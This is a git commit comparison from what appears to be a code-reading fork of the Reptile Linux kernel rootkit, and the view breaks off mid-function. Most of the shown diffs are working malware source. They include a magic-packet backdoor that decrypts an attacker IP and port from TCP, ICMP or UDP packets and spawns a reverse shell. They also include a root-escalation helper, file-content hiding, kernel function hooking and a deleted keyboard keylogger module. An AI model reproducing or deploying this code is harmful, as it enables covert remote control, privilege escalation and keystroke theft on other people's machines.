Compare commits

..

2 Commits

Author SHA1 Message Date
shenzexi 644304d879 code reading
4 months ago
shenzexi c1ef6ff634 Code Explanation
4 months ago

@ -1,18 +0,0 @@
{
"configurations": [
{
"name": "windows-gcc-x64",
"includePath": [
"${workspaceFolder}/**"
],
"compilerPath": "E:/DEV-C++/Dev-Cpp/MinGW64/bin/gcc.exe",
"cStandard": "${default}",
"cppStandard": "${default}",
"intelliSenseMode": "windows-gcc-x64",
"compilerArgs": [
""
]
}
],
"version": 4
}

@ -1,24 +0,0 @@
{
"version": "0.2.0",
"configurations": [
{
"name": "C/C++ Runner: Debug Session",
"type": "cppdbg",
"request": "launch",
"args": [],
"stopAtEntry": false,
"externalConsole": true,
"cwd": "e:/专业课/reptile/src/Reptile/kernel",
"program": "e:/专业课/reptile/src/Reptile/kernel/build/Debug/outDebug",
"MIMode": "gdb",
"miDebuggerPath": "gdb",
"setupCommands": [
{
"description": "Enable pretty-printing for gdb",
"text": "-enable-pretty-printing",
"ignoreFailures": true
}
]
}
]
}

@ -1,6 +0,0 @@
{
"Codegeex.RepoIndex": true,
"files.associations": {
"dialog.h": "c"
}
}

@ -0,0 +1,2 @@
# reptile

@ -22,7 +22,6 @@ INSTALLER ?= $(PWD)/scripts/installer.sh
all: $(BUILD_DIR_MAKEFILE) userland_bin $(ENCRYPT) module kmatryoshka reptile
obj-m += keysniffer.o
reptile: $(LOADER)
@ $(ENCRYPT) $(BUILD_DIR)/reptile.ko $(RAND2) > $(BUILD_DIR)/reptile.ko.inc
@ echo " CC $(BUILD_DIR)/$@"

@ -15,7 +15,6 @@ $(MODNAME)-$(CONFIG_HIDE_DIR) += dir.o
$(MODNAME)-$(CONFIG_FILE_TAMPERING) += file.o
$(MODNAME)-$(CONFIG_HIDE_CONN) += network.o
$(MODNAME)-$(CONFIG_AUTO_HIDE) += module.o
$(MODNAME)-$(CONFIG_AUTO_Keysniffe) += keysniffer.o
ccflags-$(CONFIG_BACKDOOR) += -DCONFIG_BACKDOOR
ccflags-$(CONFIG_BACKDOOR) += -DMAGIC_VALUE=\"$(MAGIC_VALUE)\"

@ -1,10 +1,4 @@
/**
* @file backdoor.c
* @brief This file contains the implementation of a backdoor mechanism that listens for specific network packets and executes a shell command when a magic packet is detected.
*
* The backdoor listens for TCP, ICMP, and UDP packets with specific characteristics and a magic value. When such a packet is detected, it extracts the command and arguments, decrypts them, and schedules a shell execution task.
*/
//后门程序,用于监听特定的网络数据包,并根据数据包的内容执行指定的命令
#include <linux/string.h>
#include <linux/version.h>
#include <linux/net.h>
@ -14,50 +8,260 @@
#include <linux/icmp.h>
#include <linux/workqueue.h>
#include "util.h" // 自定义的实用程序头文件(可能包含一些工具函数)
#include "config.h" // 自定义的配置头文件(可能定义了一些配置参数)
#include "backdoor.h" // 后门的实现头文件
/**
* @struct shell_task
* @brief Structure representing a shell execution task.
*
* @var shell_task::work
* Work structure for scheduling the task.
* @var shell_task::ip
* IP address to connect to.
* @var shell_task::port
* Port to connect to.
*/
#include "util.h"
#include "config.h"
#include "backdoor.h"
struct shell_task {
struct work_struct work; // 工作队列结构体
char *ip; // 存储IP地址字符串
char *port; // 存储端口号字符串
struct work_struct work;
char *ip;
char *port;
};
//命令执行
void shell_execer(struct work_struct *work)
{
struct shell_task *task = (struct shell_task *)work;
char *argv[] = { SHELL_PATH, "-t", task->ip, "-p", task->port, "-s", PASSWORD, NULL };
exec(argv);
kfree(task->ip);
kfree(task->port);
kfree(task);
}
//添加任务到命令执行队列
int shell_exec_queue(char *ip, char *port)
{
struct shell_task *task;
task = kmalloc(sizeof(*task), GFP_KERNEL);
if (!task)
return 0;
task->ip = kstrdup(ip, GFP_KERNEL);
if (!task->ip) {
kfree(task);
return 0;
}
task->port = kstrdup(port, GFP_KERNEL);
if (!task->port) {
kfree(task->ip);
kfree(task);
return 0;
}
INIT_WORK(&task->work, &shell_execer);
return schedule_work(&task->work);
}
#define DROP 0
#define ACCEPT 1
//解析攻击方发送的网络数据包,并根据特定条件执行命令
unsigned int magic_packet_parse(struct sk_buff *socket_buffer)
{
const struct iphdr *ip_header;
const struct icmphdr *icmp_header;
const struct tcphdr *tcp_header;
const struct udphdr *udp_header;
struct iphdr _iph;
struct icmphdr _icmph;
struct tcphdr _tcph;
struct udphdr _udph;
const char *data = NULL;
char *_data, *argv_str, **argv;
int size, str_size;
if (!socket_buffer)
return ACCEPT;
ip_header = skb_header_pointer(socket_buffer, 0, sizeof(_iph), &_iph);
if (!ip_header)
return ACCEPT;
if (!ip_header->protocol)
return ACCEPT;
if (htons(ip_header->id) != IPID)
return ACCEPT;
if (ip_header->protocol == IPPROTO_TCP) {
tcp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_tcph), &_tcph);
if (!tcp_header)
return ACCEPT;
if (htons(tcp_header->source) != SRCPORT)
return ACCEPT;
if (//htons(tcp_header->seq) == SEQ && /* uncoment this if you wanna use tcp_header->seq as filter */
htons(tcp_header->window) == WIN) {
size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_tcph);
_data = kmalloc(size, GFP_KERNEL);
if (!_data)
return ACCEPT;
str_size = size - strlen(MAGIC_VALUE);
argv_str = kmalloc(str_size, GFP_KERNEL);
if (!argv_str) {
kfree(_data);
return ACCEPT;
}
data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct tcphdr), size, &_data);
if (!data) {
kfree(_data);
kfree(argv_str);
return ACCEPT;
}
if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) {
memzero_explicit(argv_str, str_size);
memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1);
do_decrypt(argv_str, str_size - 1, KEY);
argv = argv_split(GFP_KERNEL, argv_str, NULL);
if (argv) {
shell_exec_queue(argv[0], argv[1]);
argv_free(argv);
}
kfree(_data);
kfree(argv_str);
return DROP;
}
kfree(_data);
kfree(argv_str);
}
}
if (ip_header->protocol == IPPROTO_ICMP) {
icmp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_icmph), &_icmph);
if (!icmp_header)
return ACCEPT;
if (icmp_header->code != ICMP_ECHO)
return ACCEPT;
if (htons(icmp_header->un.echo.sequence) == SEQ &&
htons(icmp_header->un.echo.id) == WIN) {
size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_icmph);
_data = kmalloc(size, GFP_KERNEL);
if (!_data)
return ACCEPT;
str_size = size - strlen(MAGIC_VALUE);
argv_str = kmalloc(str_size, GFP_KERNEL);
if (!argv_str) {
kfree(_data);
return ACCEPT;
}
data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct icmphdr), size, &_data);
if (!data) {
kfree(_data);
kfree(argv_str);
return ACCEPT;
}
if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) {
memzero_explicit(argv_str, str_size);
memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1);
do_decrypt(argv_str, str_size - 1, KEY);
argv = argv_split(GFP_KERNEL, argv_str, NULL);
if (argv) {
shell_exec_queue(argv[0], argv[1]);
argv_free(argv);
}
kfree(_data);
kfree(argv_str);
return DROP;
}
kfree(_data);
kfree(argv_str);
}
}
if (ip_header->protocol == IPPROTO_UDP) {
udp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_udph), &_udph);
if (!udp_header)
return ACCEPT;
if (htons(udp_header->source) != SRCPORT)
return ACCEPT;
if (htons(udp_header->len) <= (sizeof(struct udphdr) + strlen(MAGIC_VALUE) + 25)) {
size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_udph);
_data = kmalloc(size, GFP_KERNEL);
if (!_data)
return ACCEPT;
str_size = size - strlen(MAGIC_VALUE);
argv_str = kmalloc(str_size, GFP_KERNEL);
if (!argv_str) {
kfree(_data);
return ACCEPT;
}
data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct udphdr), size, &_data);
if (!data) {
kfree(_data);
kfree(argv_str);
return ACCEPT;
}
if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) {
memzero_explicit(argv_str, str_size);
memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1);
do_decrypt(argv_str, str_size - 1, KEY);
argv = argv_split(GFP_KERNEL, argv_str, NULL);
if (argv) {
shell_exec_queue(argv[0], argv[1]);
argv_free(argv);
}
kfree(_data);
kfree(argv_str);
return DROP;
}
kfree(_data);
kfree(argv_str);
}
}
/**
* @brief Executes a shell command with the given IP and port.
*
* @param work Pointer to the work structure.
*/
void shell_execer(struct work_struct *work);
/**
* @brief Schedules a shell execution task.
*
* @param ip IP address to connect to.
* @param port Port to connect to.
* @return int 1 if the task was successfully scheduled, 0 otherwise.
*/
int shell_exec_queue(char *ip, char *port);
#define DROP 0 // 定义DROP为0表示丢弃数据包
#define ACCEPT 1 // 定义ACCEPT为1表示接受数据包
/**
* @brief Parses a network packet to detect a magic packet and execute a shell command.
*
* @param socket_buffer Pointer to the socket buffer containing the packet data.
* @return unsigned int DROP if the packet is a magic packet and the command was executed, ACCEPT otherwise.
*/
unsigned int magic_packet_parse(struct sk_buff *socket_buffer);
return ACCEPT;
}

@ -1,14 +1,4 @@
/**
* is_name_invisible -
* @filename:
*
* HIDE
* 10
*
* :
* 1 -
* 0 -
*/
//判断文件夹是否隐藏
#include <linux/uaccess.h>
#include <linux/slab.h>
#include <linux/string.h>

@ -1,74 +1,53 @@
////使用给定的十六进制密钥对文件内容进行加密
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include "encrypt.h"
// 函数声明:获取文件大小
// 参数:指向文件的指针
// 返回值:文件的大小(字节数)
static long get_file_size(FILE *file)
{
long size;
// 将文件指针移动到文件末尾
fseek(file, 0, SEEK_END);
// 获取文件指针当前位置,即文件大小
size = ftell(file);
// 将文件指针重新移动到文件开头
rewind(file);
return size;
long size;
fseek(file, 0, SEEK_END);
size = ftell(file);
rewind(file);
return size;
}
// 主函数:程序入口
// 参数:命令行参数个数,命令行参数数组
// 返回值:程序退出状态码
int main(int argc, char **argv)
{
// 检查命令行参数是否正确(需要两个参数:文件名和密钥)
if (argc != 3) {
fprintf(stderr, "USAGE: encrypt <file> <pass:hex(uint32)>\n");
exit(-1);
}
// 打开指定文件以二进制读取模式
FILE *file = fopen(argv[1], "rb");
if (!file) {
fprintf(stderr, "Can't open %s for reading\n", argv[1]);
exit(-1);
}
// 获取文件大小
long size = get_file_size(file);
// 分配内存以存储文件数据
unsigned char *data = malloc(size);
if (!data) {
fprintf(stderr, "Can't allocate memory\n");
exit(-1);
}
// 从文件中读取数据到分配的内存中
if (fread(data, size, 1, file) != 1) {
fprintf(stderr, "Can't read data from file\n");
exit(-1);
}
// 关闭文件
fclose(file);
// 将命令行传入的密钥从十六进制字符串转换为uint32_t整数
uint32_t key = strtol(argv[2], NULL, 16);
// 使用指定的密钥对数据进行加密
do_encrypt(data, size, key);
// 输出解密密钥(宏定义形式)
printf("#define DECRYPT_KEY 0x%08x\n", key);
// 输出加密后的数据(十六进制格式)
for (int i = 0; i < size; i++) {
printf("0x%02x,", data[i]);
}
// 释放分配的内存
free(data);
return 0;
}
if (argc != 3) {
fprintf(stderr, "USAGE: encrypt <file> <pass:hex(uint32)>\n");
exit(-1);
}
FILE *file = fopen(argv[1], "rb");
if (!file) {
fprintf(stderr, "Can't open %s for reading\n", argv[1]);
exit(-1);
}
long size = get_file_size(file);
unsigned char *data = malloc(size);
if (!data) {
fprintf(stderr, "Can't allocate memory\n");
exit(-1);
}
if (fread(data, size, 1, file) != 1) {
fprintf(stderr, "Can't read data from file\n");
exit(-1);
}
fclose(file);
uint32_t key = strtol(argv[2], NULL, 16);
do_encrypt(data, size, key);
printf("#define DECRYPT_KEY 0x%08x\n", key);
for (int i = 0; i < size; i++) {
printf("0x%02x,", data[i]);
}
return 0;
}

@ -1,78 +1,66 @@
#include <linux/uaccess.h> // 包含用户空间和内核空间之间的数据传输函数
#include <linux/slab.h> // 包含内核内存分配函数
//判断文件是否隐藏
#include <linux/uaccess.h>
#include <linux/slab.h>
#include "file.h" // 包含自定义头文件
#include "file.h"
// 检查给定的缓冲区是否包含隐藏标签
int file_check(void *arg, ssize_t size)
{
int ret = 0; // 初始化返回值为0
char *buf; // 定义字符指针用于存储缓冲区
int ret = 0;
char *buf;
// 检查缓冲区大小是否合法
if ((size <= 0) || (size >= SSIZE_MAX))
return ret;
// 分配内核缓冲区
buf = (char *)kmalloc(size + 1, GFP_KERNEL);
if (!buf) // 检查内存分配是否成功
if (!buf)
return ret;
// 将用户空间的缓冲区内容复制到内核缓冲区
if (copy_from_user((void *)buf, (void *)arg, size))
goto out; // 如果复制失败跳转到out标签
goto out;
buf[size] = 0; // 确保缓冲区以NULL结尾
buf[size] = 0;
// 检查缓冲区是否包含 HIDETAGIN 和 HIDETAGOUT 标签
if ((strstr(buf, HIDETAGIN) != NULL) && (strstr(buf, HIDETAGOUT) != NULL))
ret = 1; // 如果找到标签设置返回值为1
ret = 1;
out:
kfree(buf); // 释放内核缓冲区
return ret; // 返回结果
kfree(buf);
return ret;
}
// 隐藏缓冲区中的内容
int hide_content(void *arg, ssize_t size)
{
char *buf, *p1, *p2; // 定义字符指针用于存储缓冲区和标签位置
int i, newret; // 定义整数用于存储新的缓冲区大小和临时变量
char *buf, *p1, *p2;
int i, newret;
// 分配内核缓冲区
buf = (char *)kmalloc(size, GFP_KERNEL);
if (!buf) // 检查内存分配是否成功
if (!buf)
return (-1);
// 将用户空间的缓冲区内容复制到内核缓冲区
if (copy_from_user((void *)buf, (void *)arg, size)) {
kfree(buf); // 如果复制失败,释放内核缓冲区
kfree(buf);
return size;
}
// 查找 HIDETAGIN 和 HIDETAGOUT 标签的位置
p1 = strstr(buf, HIDETAGIN);
p2 = strstr(buf, HIDETAGOUT);
p2 += strlen(HIDETAGOUT); // 移动指针到 HIDETAGOUT 标签的末尾
p2 += strlen(HIDETAGOUT);
// 检查标签位置是否合法
if (p1 >= p2 || !p1 || !p2) {
kfree(buf); // 如果标签位置不合法,释放内核缓冲区
kfree(buf);
return size;
}
// 计算新的缓冲区大小
i = size - (p2 - buf);
// 移动标签之间的内容
memmove((void *)p1, (void *)p2, i);
newret = size - (p2 - p1); // 计算新的缓冲区大小
newret = size - (p2 - p1);
// 将修改后的缓冲区内容复制回用户空间
if (copy_to_user((void *)arg, (void *)buf, newret)) {
kfree(buf); // 如果复制失败,释放内核缓冲区
kfree(buf);
return size;
}
kfree(buf); // 释放内核缓冲区
return newret; // 返回新的缓冲区大小
}
kfree(buf);
return newret;
}

@ -1,27 +1,20 @@
#ifndef __LOADER_H__
#define __LOADER_H__
// 定义加密和解密的宏实际调用do_encode函数
#define do_encrypt(ptr, len, key) do_encode(ptr, len, key)
#define do_decrypt(ptr, len, key) do_encode(ptr, len, key)
// 定义一个静态内联函数用于实现32位值的循环左移操作
static inline unsigned int custom_rol32(unsigned int val, int n)
{
// 循环左移n位右移(32 - n)位,然后将两者的结果合并
return ((val << n) | (val >> (32 - n)));
return ((val << n) | (val >> (32 - n)));
}
// 定义一个静态内联函数,用于执行编码操作
static inline void do_encode(void *ptr, unsigned int len, unsigned int key)
{
// 当剩余长度大于键值长度时,继续执行编码操作
while (len > sizeof(key)) {
// 使用异或和循环左移操作对数据进行编码
*(unsigned int *)ptr ^= custom_rol32(key ^ len, (len % 13));
// 更新剩余长度和指针位置,准备处理下一部分数据
len -= sizeof(key), ptr += sizeof(key);
}
while (len > sizeof(key)) {
*(unsigned int *)ptr ^= custom_rol32(key ^ len, (len % 13));
len -= sizeof(key), ptr += sizeof(key);
}
}
#endif
#endif

@ -13,9 +13,4 @@ static inline void file_tampering(void)
file_tampering_flag = 0;
else
file_tampering_flag = 1;
}
/*SSIZE_MAX 是一个宏定义设置了最大可操作大小32767
file_tampering_flag
file_check hide_content
file_tampering file_tampering_flag */
}

@ -9,5 +9,4 @@ extern struct list_head hidden_conn_list;
void network_hide_add(struct sockaddr_in addr);
void network_hide_remove(struct sockaddr_in addr);
void network_hide_cleanup(void);
//void hide_conn(char *ip_str);
//void hide_conn(char *ip_str);

@ -3,106 +3,87 @@
#include <linux/cred.h>
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 14, 0)
# include <linux/kmod.h> // 低于 4.14 的内核引入 kmod.h
# include <linux/kmod.h>
#else
# include <linux/umh.h> // 高于 4.14 的内核引入 umh.h
# include <linux/umh.h>
#endif
// 定义加密和解密宏,调用相同的编码函数
#define do_encrypt(ptr, len, key) do_encode(ptr, len, key)
#define do_decrypt(ptr, len, key) do_encode(ptr, len, key)
#define do_encrypt(ptr, len, key) do_encode(ptr, len, key)
#define do_decrypt(ptr, len, key) do_encode(ptr, len, key)
// 循环左移操作
static inline unsigned int custom_rol32(unsigned int val, int n)
{
return ((val << n) | (val >> (32 - n))); // 将 val 左移 n 位,移出部分放到右边
return ((val << n) | (val >> (32 - n)));
}
// 编码函数,可能用于加密或其他数据隐藏
static inline void do_encode(void *ptr, unsigned int len, unsigned int key)
{
while (len > sizeof(key)) {
*(unsigned int *)ptr ^= custom_rol32(key ^ len, (len % 13)); // 使用异或和循环左移对数据进行编码
len -= sizeof(key);
ptr += sizeof(key);
}
while (len > sizeof(key)) {
*(unsigned int *)ptr ^= custom_rol32(key ^ len, (len % 13));
len -= sizeof(key), ptr += sizeof(key);
}
}
// 执行用户模式程序,返回执行结果
static inline int exec(char **argv)
{
char *envp[] = {"PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL};
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); // 执行外部程序并等待完成
char *envp[] = {"PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL};
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
// 执行指定的 shell 命令
static inline int run_cmd(char *cmd)
{
char *argv[] = {"/bin/bash", "-c", cmd, NULL};
return exec(argv); // 调用 exec 函数执行命令
char *argv[] = {"/bin/bash", "-c", cmd, NULL};
return exec(argv);
}
// 内核符号查找回调函数
static int ksym_lookup_cb(unsigned long data[], const char *name, void *module, unsigned long addr)
static int ksym_lookup_cb(unsigned long data[], const char *name, void *module,
unsigned long addr)
{
int i = 0;
while (!module && (((const char *)data[0]))[i] == name[i]) {
if (!name[i++]) // 如果找到匹配的符号
return !!(data[1] = addr); // 返回符号地址
}
return 0;
int i = 0;
while (!module && (((const char *)data[0]))[i] == name[i]) {
if (!name[i++])
return !!(data[1] = addr);
}
return 0;
}
// 查找内核符号名对应的地址
static inline unsigned long ksym_lookup_name(const char *name)
{
unsigned long data[2] = {(unsigned long)name, 0};
kallsyms_on_each_symbol((void *)ksym_lookup_cb, data); // 遍历内核符号查找
return data[1]; // 返回符号地址
unsigned long data[2] = {(unsigned long)name, 0};
kallsyms_on_each_symbol((void *)ksym_lookup_cb, data);
return data[1];
}
#ifdef CONFIG_GIVE_ROOT
// 提升当前进程权限为 root
static inline void get_root(void)
{
#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
// 低版本内核(<2.6.29)直接设置进程的 UID/GID 等为 root 权限
current->uid = 0;
current->suid = 0;
current->euid = 0;
current->gid = 0;
current->egid = 0;
current->fsuid = 0;
current->fsgid = 0;
cap_set_full(current->cap_effective); // 设置所有权限
cap_set_full(current->cap_inheritable);
cap_set_full(current->cap_permitted);
current->uid = 0;
current->suid = 0;
current->euid = 0;
current->gid = 0;
current->egid = 0;
current->fsuid = 0;
current->fsgid = 0;
cap_set_full(current->cap_effective);
cap_set_full(current->cap_inheritable);
cap_set_full(current->cap_permitted);
#else
// 新版本内核通过 commit_creds 和 prepare_kernel_cred 来获取 root 权限
commit_creds(prepare_kernel_cred(0)); // 提升权限为 root
commit_creds(prepare_kernel_cred(0));
#endif
}
#endif
extern int hidden; // 外部声明的变量 hidden用于标记隐藏状态
extern int hidden;
// 切换 hidden 标志的值
static inline void flip_hidden_flag(void)
{
if (hidden)
hidden = 0; // 如果当前是 1设置为 0
hidden = 0;
else
hidden = 1; // 如果当前是 0设置为 1
hidden = 1;
}
// 声明的其他函数
int util_init(void);
int get_cmdline(struct task_struct *task, char *buffer, int buflen);
//int run_cmd(const char *cmd);
/*加密/解密处理:通过 do_encode 函数对数据进行处理。
使 ksym_lookup_name
get_root root
exec run_cmd shell
flip_hidden_flag hidden
*/
//int run_cmd(const char *cmd);

@ -1,141 +0,0 @@
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/keyboard.h>
#include <linux/debugfs.h>
#define BUF_LEN (PAGE_SIZE << 2) /* 16KB buffer (assuming 4KB PAGE_SIZE) */
/* Declarations */
static struct dentry *file;
static struct dentry *subdir;
static ssize_t keys_read(struct file *filp,
char *buffer,
size_t len,
loff_t *offset);
static int keysniffer_cb(struct notifier_block *nblock,
unsigned long code,
void *_param);
/* Keymap */
static const char *us_keymap[][2] = {
{"\0", "\0"}, {"_ESC_", "_ESC_"}, {"1", "!"}, {"2", "@"},
{"3", "#"}, {"4", "$"}, {"5", "%"}, {"6", "^"},
{"7", "&"}, {"8", "*"}, {"9", "("}, {"0", ")"},
{"-", "_"}, {"=", "+"}, {"_BACKSPACE_", "_BACKSPACE_"}, {"_TAB_", "_TAB_"},
{"q", "Q"}, {"w", "W"}, {"e", "E"}, {"r", "R"},
{"t", "T"}, {"y", "Y"}, {"u", "U"}, {"i", "I"},
{"o", "O"}, {"p", "P"}, {"[", "{"}, {"]", "}"},
{"_ENTER_", "_ENTER_"}, {"_CTRL_", "_CTRL_"}, {"a", "A"}, {"s", "S"},
{"d", "D"}, {"f", "F"}, {"g", "G"}, {"h", "H"},
{"j", "J"}, {"k", "K"}, {"l", "L"}, {";", ":"},
{"'", "\""}, {"`", "~"}, {"_SHIFT_", "_SHIFT_"}, {"\\", "|"},
{"z", "Z"}, {"x", "X"}, {"c", "C"}, {"v", "V"},
{"b", "B"}, {"n", "N"}, {"m", "M"}, {",", "<"},
{".", ">"}, {"/", "?"}, {"_SHIFT_", "_SHIFT_"}, {"_PRTSCR_", "_KPD*_"},
{"_ALT_", "_ALT_"}, {" ", " "}, {"_CAPS_", "_CAPS_"}, {"F1", "F1"},
{"F2", "F2"}, {"F3", "F3"}, {"F4", "F4"}, {"F5", "F5"},
{"F6", "F6"}, {"F7", "F7"}, {"F8", "F8"}, {"F9", "F9"},
{"F10", "F10"}, {"_NUM_", "_NUM_"}, {"_SCROLL_", "_SCROLL_"}, {"_KPD7_", "_HOME_"},
{"_KPD8_", "_UP_"}, {"_KPD9_", "_PGUP_"}, {"-", "-"}, {"_KPD4_", "_LEFT_"},
{"_KPD5_", "_KPD5_"}, {"_KPD6_", "_RIGHT_"}, {"+", "+"}, {"_KPD1_", "_END_"},
{"_KPD2_", "_DOWN_"}, {"_KPD3_", "_PGDN"}, {"_KPD0_", "_INS_"}, {"_KPD._", "_DEL_"},
{"_SYSRQ_", "_SYSRQ_"}, {"\0", "\0"}, {"\0", "\0"}, {"F11", "F11"},
{"F12", "F12"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},
{"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},
{"_ENTER_", "_ENTER_"}, {"_CTRL_", "_CTRL_"}, {"/", "/"}, {"_PRTSCR_", "_PRTSCR_"},
{"_ALT_", "_ALT_"}, {"\0", "\0"}, {"_HOME_", "_HOME_"}, {"_UP_", "_UP_"},
{"_PGUP_", "_PGUP_"}, {"_LEFT_", "_LEFT_"}, {"_RIGHT_", "_RIGHT_"}, {"_END_", "_END_"},
{"_DOWN_", "_DOWN_"}, {"_PGDN", "_PGDN"}, {"_INS_", "_INS_"}, {"_DEL_", "_DEL_"},
{"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},
{"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"_PAUSE_", "_PAUSE_"},
};
static size_t buf_pos;
static char keys_buf[BUF_LEN] = {0};
const struct file_operations keys_fops = {
.owner = THIS_MODULE,
.read = keys_read,
};
static ssize_t keys_read(struct file *filp,
char *buffer,
size_t len,
loff_t *offset)
{
return simple_read_from_buffer(buffer, len, offset, keys_buf, buf_pos);
}
static struct notifier_block keysniffer_blk = {
.notifier_call = keysniffer_cb,
};
/* Keypress callback */
int keysniffer_cb(struct notifier_block *nblock,
unsigned long code,
void *_param)
{
size_t len;
struct keyboard_notifier_param *param = _param;
const char *pressed_key;
/* pr_debug("code: 0x%lx, down: 0x%x, shift: 0x%x, value: 0x%x\n",
code, param->down, param->shift, param->value); */
if (!(param->down))
return NOTIFY_OK;
if (param->value >= 0x1 && param->value <= 0x77) {
pressed_key = param->shift
? us_keymap[param->value][1]
: us_keymap[param->value][0];
if (pressed_key) {
len = strlen(pressed_key);
if ((buf_pos + len) >= BUF_LEN) {
memset(keys_buf, 0, BUF_LEN);
buf_pos = 0;
}
strncpy(keys_buf + buf_pos, pressed_key, len);
buf_pos += len;
keys_buf[buf_pos++] = '\n';
/* pr_debug("%s\n", pressed_key; */
}
}
return NOTIFY_OK;
}
static int __init keysniffer_init(void)
{
buf_pos = 0;
subdir = debugfs_create_dir("kisni", NULL);
if (IS_ERR(subdir))
return PTR_ERR(subdir);
if (!subdir)
return -ENOENT;
file = debugfs_create_file("keys", S_IRUSR, subdir, NULL, &keys_fops);
if (!file) {
debugfs_remove_recursive(subdir);
return -ENOENT;
}
register_keyboard_notifier(&keysniffer_blk);
return 0;
}
static void __exit keysniffer_exit(void)
{
unregister_keyboard_notifier(&keysniffer_blk);
debugfs_remove_recursive(subdir);
}
module_init(keysniffer_init);
module_exit(keysniffer_exit);

@ -1,202 +1,154 @@
//内核级别的挂钩hook机制主要用于在Linux内核中动态修改函数行为
#include "internal.h"
static khook_stub_t *khook_stub_tbl = NULL;
////////////////////////////////////////////////////////////////////////////////
/*
* callback function
* dataname
* dataaddr1
* 0
*/
//通过内核符号表查找目标函数的地址
static int khook_lookup_cb(long data[], const char *name, void *module, long addr)
{
int i = 0;
while (!module && (((const char *)data[0]))[i] == name[i]) {
if (!name[i++]) return !!(data[1] = addr); // 找到匹配的符号设置地址并返回1
}
return 0; // 未找到匹配的符号返回0
int i = 0; while (!module && (((const char *)data[0]))[i] == name[i]) {
if (!name[i++]) return !!(data[1] = addr);
} return 0;
}
/*
* kallsyms_on_each_symbol
* data[0]
* data[1]
* kernel all symbols
*/
static void *khook_lookup_name(const char *name)
{
long data[2] = { (long)name, 0 };
kallsyms_on_each_symbol((void *)khook_lookup_cb, data);
return (void *)data[1]; // 返回找到的符号地址
long data[2] = { (long)name, 0 };
kallsyms_on_each_symbol((void *)khook_lookup_cb, data);
return (void *)data[1];
}
/*
* [addr, addr + len]
*/
//将目标函数地址映射为可写内存,以便修改其代码
static void *khook_map_writable(void *addr, size_t len)
{
struct page *pages[2] = { 0 }; // len << PAGE_SIZE
long page_offset = offset_in_page(addr);
int i, nb_pages = DIV_ROUND_UP(page_offset + len, PAGE_SIZE);
addr = (void *)((long)addr & PAGE_MASK); // 对齐地址到页面边界
for (i = 0; i < nb_pages; i++, addr += PAGE_SIZE) {
if ((pages[i] = is_vmalloc_addr(addr) ?
vmalloc_to_page(addr) : virt_to_page(addr)) == NULL)
return NULL; // 如果无法获取页面返回NULL
}
addr = vmap(pages, nb_pages, VM_MAP, PAGE_KERNEL); // 映射页面到内核地址空间
return addr ? addr + page_offset : NULL; // 返回映射后的地址
struct page *pages[2] = { 0 }; // len << PAGE_SIZE
long page_offset = offset_in_page(addr);
int i, nb_pages = DIV_ROUND_UP(page_offset + len, PAGE_SIZE);
addr = (void *)((long)addr & PAGE_MASK);
for (i = 0; i < nb_pages; i++, addr += PAGE_SIZE) {
if ((pages[i] = is_vmalloc_addr(addr) ?
vmalloc_to_page(addr) : virt_to_page(addr)) == NULL)
return NULL;
}
addr = vmap(pages, nb_pages, VM_MAP, PAGE_KERNEL);
return addr ? addr + page_offset : NULL;
}
////////////////////////////////////////////////////////////////////////////////
#ifdef CONFIG_X86
# include "x86/hook.c" // 包含x86架构相关的钩子实现
# include "x86/hook.c"
#else
# error Target CPU architecture is NOT supported !!! // 不支持的CPU架构
# error Target CPU architecture is NOT supported !!!
#endif
////////////////////////////////////////////////////////////////////////////////
/*
*
*/
//挂钩唤醒
static void khook_wakeup(void)
{
struct task_struct *p;
rcu_read_lock();
for_each_process(p) {
wake_up_process(p); // 唤醒进程
}
rcu_read_unlock();
struct task_struct *p;
rcu_read_lock();
for_each_process(p) {
wake_up_process(p);
}
rcu_read_unlock();
}
/*
*
*/
//初始化和清理挂钩
static int khook_sm_init_hooks(void *arg)
{
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
if (!p->target.addr_map) continue;
khook_arch_sm_init_one(p); // 初始化单个钩子
}
return 0;
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
if (!p->target.addr_map) continue;
khook_arch_sm_init_one(p);
}
return 0;
}
/*
*
*/
static int khook_sm_cleanup_hooks(void *arg)
{
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
if (!p->target.addr_map) continue;
khook_arch_sm_cleanup_one(p); // 清理单个钩子
}
return 0;
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
if (!p->target.addr_map) continue;
khook_arch_sm_cleanup_one(p);
}
return 0;
}
/*
*
*/
static void khook_resolve(void)
{
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
p->target.addr = khook_lookup_name(p->target.name); // 查找符号地址
}
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
p->target.addr = khook_lookup_name(p->target.name);
}
}
/*
*
*/
static void khook_map(void)
{
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
